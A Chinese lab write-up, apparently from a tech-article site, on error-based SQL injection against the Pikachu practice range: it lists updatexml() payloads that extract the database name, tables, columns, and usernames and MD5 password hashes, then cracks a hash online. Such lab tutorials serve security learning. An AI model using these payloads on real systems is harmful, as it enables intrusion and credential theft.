Pikachu靶场:SQL-Inject之字符型注入(基于报错)
2021/5/9 19:25:27
本文主要是介绍Pikachu靶场:SQL-Inject之字符型注入(基于报错),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Pikachu靶场:SQL-Inject之字符型注入(基于报错)
实验环境以及工具
Firefox浏览器、Burp Suite、Pikachu靶场
实验原理
技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。
Updatexml()函数作用:改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml_ document, XPathstring, new_ _value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new _value , String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则则会发生错误
实验步骤
1.前期工作
先将Proxy中的intercept关闭,使其不进行拦截,让数据通过监听的端口。
2.使用字符型注入作为目标
用入下payload试图爆出数据库版本
kobe' and updatexml(1,version(),0)#
发现爆出的数据并不完整
故尝试用concat防止错误内容被吞噬
kobe' and updatexml(1,concat(0x7e,version()),0)#
成果爆出数据库版本。
漏洞利用
首先爆出数据库名称
payload为
kobe' and updatexml(1,concat(0x7e,database()),0)#
得出数据库名称为 pikachu
接下来数据库名称爆出表名
payload为
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' )),0)#
发现超过一行无法显示,那么在payload后面加上limit限制为一行
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 0,1)),0)#
得到第一个表名为 httpinfo
依次往后进行,即将limit 参数换为 1,1 或2,1或 3,1一直到查不出来
payload和结果依次为
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 2,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 3,1)),0)#
得到一个名叫users的表,尝试将其中的内容进行爆出。
payload和对应的结果为
kobe' and updatexml(1, concat(0x7e, (select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 2,1)),0)#
找到username和password两个敏感字段后,将其内容爆出
爆破username的payload和结果为
kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select username from users limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select username from users limit 2,1)),0)#
爆破password的payload和结果为
kobe' and updatexml(1, concat(0x7e, (select password from users limit 0,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select password from users limit 1,1)),0)#
kobe' and updatexml(1, concat(0x7e, (select password from users limit 2,1)),0)#
整理用户名和密码
用户名 admin
密码 e10adc3949ba59abbe56e057f20f883e
用户名 pikachu
密码 670b14728ad9902aecba32e22fa4f6bd
用户名 test
密码 e99a18c428cb38d5f260853678922e03
5.利用hash-identifier和在线哈希破解网站破解密码
使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型
类型为MD5
在MD5解密网站解密得到密文000000
总结
再利用sql报错注入的时候,要注意防止报错的内容被吞噬。输出不了多行内容的时候要利用limit进行限制。
这篇关于Pikachu靶场:SQL-Inject之字符型注入(基于报错)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-28pyqt 怎么打包整个项目-icode9专业技术文章分享
- 2024-09-28laravel Commands 创建带有参数的 Artisan 命令的步骤和示例-icode9专业技术文章分享
- 2024-09-28antd怎么实现渲染tiff图片-icode9专业技术文章分享
- 2024-09-28英文半角中划线和中文全角的中划线有什么区别-icode9专业技术文章分享
- 2024-09-28nvm npm 和node 他们之间有什么关系-icode9专业技术文章分享
- 2024-09-28Node Version Manager (nvm)使用教程-icode9专业技术文章分享
- 2024-09-28nvm命令太慢,是什么原因-icode9专业技术文章分享
- 2024-09-28Kotlin 如何增加、删除和修改 MutableStateFlow 中的值。-icode9专业技术文章分享
- 2024-09-28Kotlin的stateFlow.update 写法介绍-icode9专业技术文章分享
- 2024-09-28kotlin 怎么获取当前时间格式-icode9专业技术文章分享